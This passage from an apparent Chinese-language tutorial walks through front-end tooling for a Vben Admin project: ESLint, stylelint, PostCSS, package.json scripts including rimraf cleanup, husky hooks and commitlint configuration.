vue/multiline-html-element-content-newline singleline-html-element-content-newline vue/attribute-hyphenation vue/html-self-closing vue/require-default-prop 配置ESLint：根目錄下：.eslintrc.js文件 .eslintrc.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 module.exports = { // ... rules: { // ↓ 禁止使用@ts-ignore來消除ESLint檢查 \u0026#39;@typescript-eslint/ban-ts-ignore\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在函數和類方法上需要顯式的返回類型 \u0026#39;@typescript-eslint/explicit-function-return-type\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用any類型 \u0026#39;@typescript-eslint/no-explicit-any\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 除導入語句外，禁止使用require語句 \u0026#39;@typescript-eslint/no-var-requires\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用空函數 \u0026#39;@typescript-eslint/no-empty-function\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 對自定義事件名稱強制使用特定的大小寫 \u0026#39;vue/custom-event-name-casing\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止定義前使用 \u0026#39;no-use-before-define\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在定義變量之前不允許使用變量 \u0026#39;@typescript-eslint/no-use-before-define\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用@ts-註解 \u0026#39;@typescript-eslint/ban-ts-comment\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用特定類型 \u0026#39;@typescript-eslint/ban-types\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用!後綴運算符進行非null斷言 \u0026#39;@typescript-eslint/no-non-null-assertion\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在導出的函數和類的公共類方法上需要顯式的返回值和參數類型 \u0026#39;@typescript-eslint/explicit-module-boundary-types\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 禁止使用未使用的變量 \u0026#39;@typescript-eslint/no-unused-vars\u0026#39;: [ \u0026#39;error\u0026#39;, { argsIgnorePattern: \u0026#39;^h$\u0026#39;, varsIgnorePattern: \u0026#39;^h$\u0026#39;, }, ], // ↓ 禁止使用未使用的變量 \u0026#39;no-unused-vars\u0026#39;: [ \u0026#39;error\u0026#39;, { argsIgnorePattern: \u0026#39;^h$\u0026#39;, varsIgnorePattern: \u0026#39;^h$\u0026#39;, }, ], // ↓ 在函數括號前需要或不允許有空格 \u0026#39;space-before-function-paren\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 強制屬性順序 \u0026#39;vue/attributes-order\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 強制每個組件應位於其自己的文件中 \u0026#39;vue/one-component-per-file\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在標籤的右括號之前要求或不允許換行 \u0026#39;vue/html-closing-bracket-newline\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 強制每行的最大屬性數 \u0026#39;vue/max-attributes-per-line\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在多行元素的內容之前和之後需要換行 \u0026#39;vue/multiline-html-element-content-newline\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在單行元素的內容之前和之後需要換行 \u0026#39;vue/singleline-html-element-content-newline\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 在模板中的自定義組件上實施屬性命名樣式 \u0026#39;vue/attribute-hyphenation\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 需要道具的默認值 \u0026#39;vue/require-default-prop\u0026#39;: \u0026#39;off\u0026#39;, // ↓ 實施自我封閉的風格 // \u0026#39;vue/html-self-closing\u0026#39;: \u0026#39;off\u0026#39;, \u0026#39;vue/html-self-closing\u0026#39;: [ \u0026#39;error\u0026#39;, { html: { void: \u0026#39;always\u0026#39;, normal: \u0026#39;never\u0026#39;, component: \u0026#39;always\u0026#39;, }, svg: \u0026#39;always\u0026#39;, math: \u0026#39;always\u0026#39; } ] } } vben項目配置git忽略文件 說明 這個應該是項目一上來就要處理的，但是我手撕Vben的時候，按照配置文件的順序下來，到現在才處理了。\n創建Git忽略文件 根目錄下創建：.gitignore文件 .gitignore 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 node_modules .DS_Store dist dist-ssr *.local # other .npmrc .cache test/upload-server/static .local # local env files .env.local .env.*.local # Log files npm-debug.log* yarn-debug.log* yarn-error.log* pnpm-debug.log* # Editor directories and files .idea # .vscode *.suo *.ntvs* *.njsproj *.sln *.sw? 安裝style-lint 說明 這次需要安裝四個插件stylelint、stylelint-config-standard、stylelint-config-prettier、stylelint-order。\nstylelint是對我們編寫的樣式進行檢查的插件。 stylelint-config-standard是stylelint擴展的檢查標準庫。 stylelint-config-prettier是用來解決衝突的（估計又和ESLint衝突了，參考之前的prettier）。 stylelint-order是檢查我們樣式編寫順序的。 參考連結 stylelint官網 stylelint的npm首頁 stylelint-config-standard的npm首頁：擴展，標準庫 stylelint-config-prettier的npm首頁：擴展，解決衝突的 stylelint-order的npm首頁：插件，樣式排序 stylelinit的配置說明 stylelint的配置規則 安裝 1 yarn add stylelint stylelint-config-standard stylelint-config-prettier stylelint-order --dev 配置stylelint 根目錄下創建：stylelint.config.js文件 stylelint.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 module.exports = { // ↓ 這個好像是沒有用的，但是VbenAdmin是這麼寫的 root: true, // ↓ 插件 plugins: [\u0026#39;stylelint-order\u0026#39;], // ↓ 擴展 extends: [\u0026#39;stylelint-config-standard\u0026#39;, \u0026#39;stylelint-config-prettier\u0026#39;], // ↓ 自定義規則 rules: {}, // ↓ 忽略檢查的文件 ignoreFiles: [\u0026#39;**/*.js\u0026#39;, \u0026#39;**/*.jsx\u0026#39;, \u0026#39;**/*.tsx\u0026#39;, \u0026#39;**/*.ts\u0026#39;] } 配置自定義樣式規則 根目錄下修改：stylelint.config.js文件 stylelint.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 module.exports = { // ... rules: { // ↓ 禁止使用未知的偽類選擇器。 \u0026#39;selector-pseudo-class-no-unknown\u0026#39;: [ true, { ignorePseudoClasses: [\u0026#39;global\u0026#39;] } ], // ↓ 禁止使用未知規則。 \u0026#39;at-rule-no-unknown\u0026#39;: [ true, { ignoreAtRules: [\u0026#39;function\u0026#39;, \u0026#39;if\u0026#39;, \u0026#39;each\u0026#39;, \u0026#39;include\u0026#39;, \u0026#39;mixin\u0026#39;] } ], // ↓ 禁止空來源。 \u0026#39;no-empty-source\u0026#39;: null, // ↓ 禁止使用無效的命名網格區域。 \u0026#39;named-grid-areas-no-invalid\u0026#39;: null, // ↓ 要求或不允許使用Unicode字節順序標記。 \u0026#39;unicode-bom\u0026#39;: \u0026#39;never\u0026#39;, // ↓ 禁止較低特異性的選擇器在覆蓋較高特異性的選擇器之後出現。 \u0026#39;no-descending-specificity\u0026#39;: null, // ↓ 禁止在字體系列名稱列表中缺少通用系列。 \u0026#39;font-family-no-missing-generic-family-keyword\u0026#39;: null, // ↓ 在聲明的冒號後面需要一個空格或禁止空格。 \u0026#39;declaration-colon-space-after\u0026#39;: \u0026#39;always-single-line\u0026#39;, // ↓ 在聲明的冒號之前需要一個空格或禁止使用空格。 \u0026#39;declaration-colon-space-before\u0026#39;: \u0026#39;never\u0026#39;, // ↓ 在聲明塊內要求或不允許尾隨分號。 \u0026#39;declaration-block-trailing-semicolon\u0026#39;: \u0026#39;always\u0026#39;, // ↓ 在規則之前要求或禁止使用空行。 \u0026#39;rule-empty-line-before\u0026#39;: [ \u0026#39;always\u0026#39;, { ignore: [\u0026#39;after-comment\u0026#39;, \u0026#39;first-nested\u0026#39;], } ], // ↓ 禁止使用未知單位。 \u0026#39;unit-no-unknown\u0026#39;: [true, { ignoreUnits: [\u0026#39;rpx\u0026#39;] }], // Specify the alphabetical order of the attributes in the declaration block // ↓ 樣式順序 \u0026#39;order/properties-order\u0026#39;: [ \u0026#39;position\u0026#39;, \u0026#39;top\u0026#39;, \u0026#39;right\u0026#39;, \u0026#39;bottom\u0026#39;, \u0026#39;left\u0026#39;, \u0026#39;z-index\u0026#39;, \u0026#39;display\u0026#39;, \u0026#39;float\u0026#39;, \u0026#39;width\u0026#39;, \u0026#39;height\u0026#39;, \u0026#39;max-width\u0026#39;, \u0026#39;max-height\u0026#39;, \u0026#39;min-width\u0026#39;, \u0026#39;min-height\u0026#39;, \u0026#39;padding\u0026#39;, \u0026#39;padding-top\u0026#39;, \u0026#39;padding-right\u0026#39;, \u0026#39;padding-bottom\u0026#39;, \u0026#39;padding-left\u0026#39;, \u0026#39;margin\u0026#39;, \u0026#39;margin-top\u0026#39;, \u0026#39;margin-right\u0026#39;, \u0026#39;margin-bottom\u0026#39;, \u0026#39;margin-left\u0026#39;, \u0026#39;margin-collapse\u0026#39;, \u0026#39;margin-top-collapse\u0026#39;, \u0026#39;margin-right-collapse\u0026#39;, \u0026#39;margin-bottom-collapse\u0026#39;, \u0026#39;margin-left-collapse\u0026#39;, \u0026#39;overflow\u0026#39;, \u0026#39;overflow-x\u0026#39;, \u0026#39;overflow-y\u0026#39;, \u0026#39;clip\u0026#39;, \u0026#39;clear\u0026#39;, \u0026#39;font\u0026#39;, \u0026#39;font-family\u0026#39;, \u0026#39;font-size\u0026#39;, \u0026#39;font-smoothing\u0026#39;, \u0026#39;osx-font-smoothing\u0026#39;, \u0026#39;font-style\u0026#39;, \u0026#39;font-weight\u0026#39;, \u0026#39;hyphens\u0026#39;, \u0026#39;src\u0026#39;, \u0026#39;line-height\u0026#39;, \u0026#39;letter-spacing\u0026#39;, \u0026#39;word-spacing\u0026#39;, \u0026#39;color\u0026#39;, \u0026#39;text-align\u0026#39;, \u0026#39;text-decoration\u0026#39;, \u0026#39;text-indent\u0026#39;, \u0026#39;text-overflow\u0026#39;, \u0026#39;text-rendering\u0026#39;, \u0026#39;text-size-adjust\u0026#39;, \u0026#39;text-shadow\u0026#39;, \u0026#39;text-transform\u0026#39;, \u0026#39;word-break\u0026#39;, \u0026#39;word-wrap\u0026#39;, \u0026#39;white-space\u0026#39;, \u0026#39;vertical-align\u0026#39;, \u0026#39;list-style\u0026#39;, \u0026#39;list-style-type\u0026#39;, \u0026#39;list-style-position\u0026#39;, \u0026#39;list-style-image\u0026#39;, \u0026#39;pointer-events\u0026#39;, \u0026#39;cursor\u0026#39;, \u0026#39;background\u0026#39;, \u0026#39;background-attachment\u0026#39;, \u0026#39;background-color\u0026#39;, \u0026#39;background-image\u0026#39;, \u0026#39;background-position\u0026#39;, \u0026#39;background-repeat\u0026#39;, \u0026#39;background-size\u0026#39;, \u0026#39;border\u0026#39;, \u0026#39;border-collapse\u0026#39;, \u0026#39;border-top\u0026#39;, \u0026#39;border-right\u0026#39;, \u0026#39;border-bottom\u0026#39;, \u0026#39;border-left\u0026#39;, \u0026#39;border-color\u0026#39;, \u0026#39;border-image\u0026#39;, \u0026#39;border-top-color\u0026#39;, \u0026#39;border-right-color\u0026#39;, \u0026#39;border-bottom-color\u0026#39;, \u0026#39;border-left-color\u0026#39;, \u0026#39;border-spacing\u0026#39;, \u0026#39;border-style\u0026#39;, \u0026#39;border-top-style\u0026#39;, \u0026#39;border-right-style\u0026#39;, \u0026#39;border-bottom-style\u0026#39;, \u0026#39;border-left-style\u0026#39;, \u0026#39;border-width\u0026#39;, \u0026#39;border-top-width\u0026#39;, \u0026#39;border-right-width\u0026#39;, \u0026#39;border-bottom-width\u0026#39;, \u0026#39;border-left-width\u0026#39;, \u0026#39;border-radius\u0026#39;, \u0026#39;border-top-right-radius\u0026#39;, \u0026#39;border-bottom-right-radius\u0026#39;, \u0026#39;border-bottom-left-radius\u0026#39;, \u0026#39;border-top-left-radius\u0026#39;, \u0026#39;border-radius-topright\u0026#39;, \u0026#39;border-radius-bottomright\u0026#39;, \u0026#39;border-radius-bottomleft\u0026#39;, \u0026#39;border-radius-topleft\u0026#39;, \u0026#39;content\u0026#39;, \u0026#39;quotes\u0026#39;, \u0026#39;outline\u0026#39;, \u0026#39;outline-offset\u0026#39;, \u0026#39;opacity\u0026#39;, \u0026#39;filter\u0026#39;, \u0026#39;visibility\u0026#39;, \u0026#39;size\u0026#39;, \u0026#39;zoom\u0026#39;, \u0026#39;transform\u0026#39;, \u0026#39;box-align\u0026#39;, \u0026#39;box-flex\u0026#39;, \u0026#39;box-orient\u0026#39;, \u0026#39;box-pack\u0026#39;, \u0026#39;box-shadow\u0026#39;, \u0026#39;box-sizing\u0026#39;, \u0026#39;table-layout\u0026#39;, \u0026#39;animation\u0026#39;, \u0026#39;animation-delay\u0026#39;, \u0026#39;animation-duration\u0026#39;, \u0026#39;animation-iteration-count\u0026#39;, \u0026#39;animation-name\u0026#39;, \u0026#39;animation-play-state\u0026#39;, \u0026#39;animation-timing-function\u0026#39;, \u0026#39;animation-fill-mode\u0026#39;, \u0026#39;transition\u0026#39;, \u0026#39;transition-delay\u0026#39;, \u0026#39;transition-duration\u0026#39;, \u0026#39;transition-property\u0026#39;, \u0026#39;transition-timing-function\u0026#39;, \u0026#39;background-clip\u0026#39;, \u0026#39;backface-visibility\u0026#39;, \u0026#39;resize\u0026#39;, \u0026#39;appearance\u0026#39;, \u0026#39;user-select\u0026#39;, \u0026#39;interpolation-mode\u0026#39;, \u0026#39;direction\u0026#39;, \u0026#39;marks\u0026#39;, \u0026#39;page\u0026#39;, \u0026#39;set-link-source\u0026#39;, \u0026#39;unicode-bidi\u0026#39;, \u0026#39;speak\u0026#39; ] } // ... } 配置stylelint忽略文件 根目錄下創建：.stylelintignore文件 .stylelintignore 1 2 /dist/* /public/* 配置Yarn自動清除功能 說明 實現每一次install之後、add之後、yarn autoclean --force之後。從程序包依賴項中清除並刪除不必要的文件。\n參考鏈接：yarn autoclean-官方說明\n初始化 1 yarn autoclean --init 執行完命令之後，Yarn就會自動在根目錄下創建一個.yarnclean文件，這樣就可以了。\n安裝PostCSS 說明 我們需要安裝兩個庫postcss、autoprefixer。要現實的效果就是我們編寫一般的樣式，渲染頁面的dom節點有面向各種瀏覽器廠商的樣式。\n網上說postcss類似一個平台，上面有很多插件，autoprefixer就其中一個。\n我以我的看法來解釋一下：postcss就像一個管子，autoprefixer是裡面的過濾器。你寫的css從管子中流過，經過他們的處理就出現了不同的結果。\n參考連結：\nVite配置PostCss postcss的官網 postcss的npm首頁 autoprefixer的npm首頁 知乎autoprefixer說明 安裝 1 yarn add postcss autoprefixer --dev 配置postcss 根目錄下：postcss.config.js postcss.config.js 1 2 3 4 5 module.exports = { plugins: { autoprefixer: {} } } 解析VbenAdmin中的script 說明 VbenAdmin官方文檔-npm Script\n一下腳本直接添加在根目錄下的package.json的scripts對象中即可。也可以直接照搬VbenAdmin的。\n以bootstrap為例。如下：\n1 2 3 yarn bootstrap # or # npm run bootstrap bootstrap 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;bootstrap\u0026#34;: \u0026#34;yarn install\u0026#34;, // ... } 作用：使用yarn安裝所有依賴。\nserve 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;serve\u0026#34;: \u0026#34;npx --max_old_space_size=4096 vite\u0026#34;, // ... } 作用：以開發環境運行項目，並設置node的運行內存為4G。\n--max-old-space-size：單位為MB --max-new-space-size：單位為KB node命令行文檔 npx的Git首頁，有命令行說明 \u0026ndash;max-old-space-size参数说明 dev 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;dev\u0026#34;: \u0026#34;npx --max_old_space_size=4096 vite\u0026#34;, // ... } 作用：同serve。\nbuild 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;build\u0026#34;: \u0026#34;vite build\u0026#34;, // ... } 作用：這裡先不管。先使用原來創建項目的\u0026quot;build\u0026quot;: \u0026quot;vite build\u0026quot;。後面完成了vite配置之後再處理這個腳本。\nbuild:no-cache 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;build:no-cache\u0026#34;: \u0026#34;yarn clean:cache \u0026amp;\u0026amp; npm run build\u0026#34;, // ... } 作用：清空緩存後構建。\nreport 作用：生成打包分析，這裡先不管，等後面配置vite再說。\npreview 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;preview\u0026#34;: \u0026#34;npm run build \u0026amp;\u0026amp; vite preview\u0026#34;, // ... } 作用：先打包在進行預覽，使用vite訪問dist目錄。\npreview:dist 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;preview:dist\u0026#34;: \u0026#34;vite preview\u0026#34;, // ... } 作用：直接預覽本地 dist 文件目錄。\nlog 詳情查閱：使用conventional-changelog-cli生成變更記錄\n作用：用來生產Git提交記錄的。\nclean:cache 作用：刪除緩存，刪除node_modules/.cache/和node_modules/.vite下的文件，由於刪除命令依賴還沒安裝，所以後面再講。\nclean:lib 作用：清除依賴，刪除node_modules文件夾，由於刪除命令依賴還沒安裝，所以後面再講。\nlint:eslint 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:eslint\u0026#34;: \u0026#34;eslint \\\u0026#34;{src,mock}/**/*.{vue,ts,tsx}\\\u0026#34; --fix\u0026#34;, // ... } 作用：執行 eslint 校驗，該命令會對項目的src、mock目錄下的vue、ts、tsx文件進行 eslint 校驗，並修復部分問題。\n參考連結：eslint命令行說明\nlint:prettier 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:prettier\u0026#34;: \u0026#34;prettier --write --loglevel warn \\\u0026#34;src/**/*.{js,json,tsx,css,less,scss,vue,html,md}\\\u0026#34;\u0026#34;, // ... } 作用：執行 prettier 格式化代碼。該命令會對項目所有代碼 進行 prettier 格式化。謹慎執行。\n如果你的vsCode安裝了prettier插件。那麼prettier插件就會讀取根目錄下的prettier.config.js文件。當你保存的時候就會進行格式化文件。\n但是過是別人提交上來的文件，你還去點開它的文件一個一個保存麼？所以執行這個命令，可以將src目錄下，所有的文件格式化。\n參考連結：prettier命令行說明\nlint:stylelint 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:stylelint\u0026#34;: \u0026#34;stylelint --fix \\\u0026#34;**/*.{vue,less,postcss,css,scss}\\\u0026#34; --cache --cache-location node_modules/.cache/stylelint/\u0026#34;, // ... } 作用：校驗所有文件的樣式格式，並嘗試修復。\n參考連結：stylelint命令行说明\nlint:ls-lint 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:ls-lint\u0026#34;: \u0026#34;ls-lint\u0026#34;, // ... } 作用：校驗所有文件命名是否正確。\nlint:lint-staged 需先創建lint-staged的配置文件\n代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:lint-staged\u0026#34;: \u0026#34;lint-staged -c ./.husky/lintstagedrc.js\u0026#34;, // ... } 作用：對Git暫存的文件進行lint檢查。\nlint:pretty 需先創建lint-staged的配置文件\n代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;lint:pretty\u0026#34;: \u0026#34;pretty-quick --staged\u0026#34;, // ... } 作用：對Git暫存文件進行pretty的操作。\ntest:gzip 作用：這個後面再說，http-server的npm首頁。\ntest:br 作用：這個後面再說，http-server的npm首頁。\nreinstall 作用：重新安裝依賴，該命令會先刪除 node_modules、yarn.lock、package.lock.json後在進行依賴重新安裝，速度會明顯變慢。\n由於刪除命令依賴還沒安裝，所以後面再講。\ninstall:husky 代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;install:husky\u0026#34;: \u0026#34;is-ci || husky install\u0026#34;, // ... } 作用：這個是用來初始化husky的。啟用Git掛鉤。\n說明：如果不是CI服務器，就啟動Git鉤子。\ngen:icon 作用：生成圖標的，後面再說。\npostinstall 需先配置 husky\n代碼：\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;postinstall\u0026#34;: \u0026#34;npm run install:husky\u0026#34;, // ... } 作用：執行install:husky命令。這個命令會自動啟動Git鉤子，該操作參考：手動初始化husky和Yarn2下怎麼自動啟動Git鉤子函數。\n彙總 package.json除腳本、運行依賴、開發依賴外的字段參考官方文檔。\nyarn -v的腳本是後面要說的腳本。\npackage.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { // ... \u0026#34;scripts\u0026#34;: { \u0026#34;bootstrap\u0026#34;: \u0026#34;yarn install\u0026#34;, \u0026#34;serve\u0026#34;: \u0026#34;npx --max_old_space_size=4096 vite\u0026#34;, \u0026#34;dev\u0026#34;: \u0026#34;npx --max_old_space_size=4096 vite\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;vite build\u0026#34;, \u0026#34;build:no-cache\u0026#34;: \u0026#34;yarn clean:cache \u0026amp;\u0026amp; npm run build\u0026#34;, \u0026#34;report\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;preview\u0026#34;: \u0026#34;npm run build \u0026amp;\u0026amp; vite preview\u0026#34;, \u0026#34;preview:dist\u0026#34;: \u0026#34;vite preview\u0026#34;, \u0026#34;log\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;clean:cache\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;clean:lib\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;lint:eslint\u0026#34;: \u0026#34;eslint \\\u0026#34;{src,mock}/**/*.{vue,ts,tsx}\\\u0026#34; --fix\u0026#34;, \u0026#34;lint:prettier\u0026#34;: \u0026#34;prettier --write --loglevel warn \\\u0026#34;src/**/*.{js,json,tsx,css,less,scss,vue,html,md}\\\u0026#34;\u0026#34;, \u0026#34;lint:stylelint\u0026#34;: \u0026#34;stylelint --fix \\\u0026#34;**/*.{vue,less,postcss,css,scss}\\\u0026#34; --cache --cache-location node_modules/.cache/stylelint/\u0026#34;, \u0026#34;lint:ls-lint\u0026#34;: \u0026#34;ls-lint\u0026#34;, \u0026#34;lint:lint-staged\u0026#34;: \u0026#34;lint-staged -c ./.husky/lintstagedrc.js\u0026#34;, \u0026#34;lint:pretty\u0026#34;: \u0026#34;pretty-quick --staged\u0026#34;, \u0026#34;test:gzip\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;test:br\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;reinstall\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;install:husky\u0026#34;: \u0026#34;is-ci || husky install\u0026#34;, \u0026#34;gen:icon\u0026#34;: \u0026#34;yarn -v\u0026#34;, \u0026#34;postinstall\u0026#34;: \u0026#34;npm run install:husky\u0026#34; }, // ... } 安裝rimraf 說明 由於手動刪除文件夾太慢了，需要實現腳本刪除文件。\n參考連結 rimraf的npm首頁\nrimraf的npm首頁說明：\nThe UNIX command rm -rf for node.\nInstall with npm install rimraf, or just drop rimraf.js somewhere.\n翻譯：\nnode版的Unix系統命令rm -rf。\n用npm安裝rimraf，或者直接把rimraf.js放在某個地方。\n雖然這裡可以通過import使用函數刪除文件，但是我們主要是使用它的命令行蛤。\n詳情查看：rimraf的npm首頁-Cil說明。\n安裝 1 yarn add rimraf --dev 重寫腳本 就是根目錄下package.json的scripts字段。\nclean:cache package.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;clean:cache\u0026#34;: \u0026#34;rimraf node_modules/.cache/ \u0026amp;\u0026amp; rimraf node_modules/.vite\u0026#34;, // ... } 目的：刪除緩存，刪除node_modules/.cache/和node_modules/.vite下的文件。 clean:lib package.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;clean:lib\u0026#34;: \u0026#34;rimraf node_modules\u0026#34;, // ... } 目的：清除依賴，刪除node_modules文件夾。 reinstall package.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;reinstall\u0026#34;: \u0026#34;rimraf yarn.lock \u0026amp;\u0026amp; rimraf package.lock.json \u0026amp;\u0026amp; rimraf node_modules \u0026amp;\u0026amp; npm run bootstrap\u0026#34;, // ... } 目的：重新安裝依賴，該命令會先刪除 node_modules、yarn.lock、package.lock.json後在進行依賴重新安裝，速度會明顯變慢。 使用husky規范代碼提交 說明 使用Git提交代碼的時候，需要對暫存的代碼進行如下操作：\n進行lint操作。 對commit的消息進行格式化檢查。 進行prettier操作。 需要安裝的依賴有：husky、lint-staged、@commitlint/cli、@commitlint/config-conventional、pretty-quick、is-ci。\nhusky：可以在Git的鉤子函數中執行腳本。 lint-staged：針對暫存文件進行lint操作。 @commitlint/cli：對commit的消息進行格式檢查。 @commitlint/config-conventional：commit的消息檢查格式傳統配置，對應還有很多其他配置，比如angular的提交規範@commitlint/config-angular。 pretty-quick：針對暫存文件進行prettier操作。 is-ci：husky好像不能在ci環境下執行，這個依賴是用來判斷是不是ci環境的。 參考連結 husky的npm首頁 husky官方文檔 lint-staged的npm首頁 @commitlint/cli的npm首頁 @commitlint/cil官網 @commitlint/config-conventional的首頁 pretty-quick的npm首頁 Prettier官網對Git鉤子函數的支持說明 is-ci的npm首頁 前端代碼規範從0到1 前端工作流 安裝 1 yarn add husky lint-staged @commitlint/cli @commitlint/config-conventional pretty-quick is-ci --dev 配置commitlint commitlint官方配置說明 commitlint配置規則 在根目錄下創建commitlint.config.js文件。\ncommitlint.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 module.exports = { // ↓ 忽略包含init的提交消息 ignores: [(commit) =\u0026gt; commit.includes(\u0026#39;init\u0026#39;)], // ↓ 按照传统消息格式来验证 extends: [\u0026#39;@commitlint/config-conventional\u0026#39;], // ↓ 这里是自定义解析器，看不太懂，直接搬代码吧 // ↓ https://commitlint.js.org/#/reference-configuration?id=parser-presets parserPreset: { parserOpts: { headerPattern: /^(\\w*|[\\u4e00-\\u9fa5]*)(?:[\\(\\（](.*)[\\)\\）])?[\\:\\：] (.*)/, headerCorrespondence: [\u0026#39;type\u0026#39;, \u0026#39;scope\u0026#39;, \u0026#39;subject\u0026#39;], referenceActions: [ \u0026#39;close\u0026#39;, \u0026#39;closes\u0026#39;, \u0026#39;closed\u0026#39;, \u0026#39;fix\u0026#39;, \u0026#39;fixes\u0026#39;, \u0026#39;fixed\u0026#39;, \u0026#39;resolve\u0026#39;, \u0026#39;resolves\u0026#39;, \u0026#39;resolved\u0026#39; ], issuePrefixes: [\u0026#39;#\u0026#39;], noteKeywords: [\u0026#39;BREAKING CHANGE\u0026#39;, \u0026#39;不兼容变更\u0026#39;], fieldPattern: /^-(.*?)-$/, revertPattern: /^Revert\\s\u0026#34;([\\s\\S]*)\u0026#34;\\s*This reverts commit (\\w*)\\./, revertCorrespondence: [\u0026#39;header\u0026#39;, \u0026#39;hash\u0026#39;], warn() {}, mergePattern: null, mergeCorrespondence: null } }, // ↓ 自定义提交消息规则 rules: { // ↓ body以空白行开头 \u0026#39;body-leading-blank\u0026#39;: [2, \u0026#39;always\u0026#39;], // ↓ footer以空白行开头 \u0026#39;footer-leading-blank\u0026#39;: [1, \u0026#39;always\u0026#39;], // ↓ header的最大长度 \u0026#39;header-max-length\u0026#39;: [2, \u0026#39;always\u0026#39;, 108], // ↓ subject为空 \u0026#39;subject-empty\u0026#39;: [2, \u0026#39;never\u0026#39;], // ↓ type为空 \u0026#39;type-empty\u0026#39;: [2, \u0026#39;never\u0026#39;], // ↓ type的类型 \u0026#39;type-enum\u0026#39;: [ 2, \u0026#39;always\u0026#39;, [ \u0026#39;feat\u0026#39;, \u0026#39;fix\u0026#39;, \u0026#39;perf\u0026#39;, \u0026#39;style\u0026#39;, \u0026#39;docs\u0026#39;, \u0026#39;test\u0026#39;, \u0026#39;refactor\u0026#39;, \u0026#39;build\u0026#39;, \u0026#39;ci\u0026#39;, \u0026#39;chore\u0026#39;, \u0026#39;revert\u0026#39;, \u0026#39;wip\u0026#39;, \u0026#39;workflow\u0026#39;, \u0026#39;types\u0026#39; ] ] } }; 配置husky 啟動Git鉤子 1 npx husky install 這個時候就在根目錄下創建了.husky目錄了。 